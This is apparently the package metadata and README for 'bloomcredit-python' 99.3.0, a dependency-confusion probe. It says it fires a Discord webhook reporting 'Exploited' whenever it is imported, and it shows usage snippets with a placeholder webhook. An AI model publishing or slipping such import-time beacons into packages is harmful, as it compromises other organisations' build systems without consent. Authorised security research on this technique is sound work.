Metadata-Version: 2.4
Name: bloomcredit-python
Version: 99.3.0
Summary: BloomCredit Python package with Discord exploit notification
Keywords: discord,exploit,security,notification,pentest
Classifier: Development Status :: 4 - Beta
Classifier: Intended Audience :: Developers
Classifier: Operating System :: OS Independent
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3 :: Only
Classifier: Topic :: Security
Requires-Python: >=3.8
Description-Content-Type: text/markdown

# bloomcredit-python

A Python package that sends a Discord notification whenever it is loaded or used.

## Description

`bloomcredit-python` is part of the BloomCredit dependency-confusion research
project. Whenever the package is imported or otherwise used, it fires a Discord
webhook message notifying the team that the package was exploited / loaded.

## Installation

```bash
pip install bloomcredit-python
```

## Usage

The Discord notification is triggered automatically when the package is
imported, so no additional code is required:

```python
import bloomcredit

# Fires the Discord notification (content defaults to "Exploited").
result = bloomcredit.trigger_exploit()
```

You can also send a custom message:

```python
result = bloomcredit.trigger_exploit(content="Custom alert")
```

Or send to a custom webhook:

```python
result = bloomcredit.trigger_exploit(content="Custom alert", webhook_url="https://discord.com/api/webhooks/...")
```

## Running

```bash
python -m bloomcredit
```

## How it works

On import, the package posts a JSON payload (`{"content": ...}`) to the
configured Discord webhook via an HTTPS POST request.

## License

This project is part of the BloomCredit dependency confusion research.
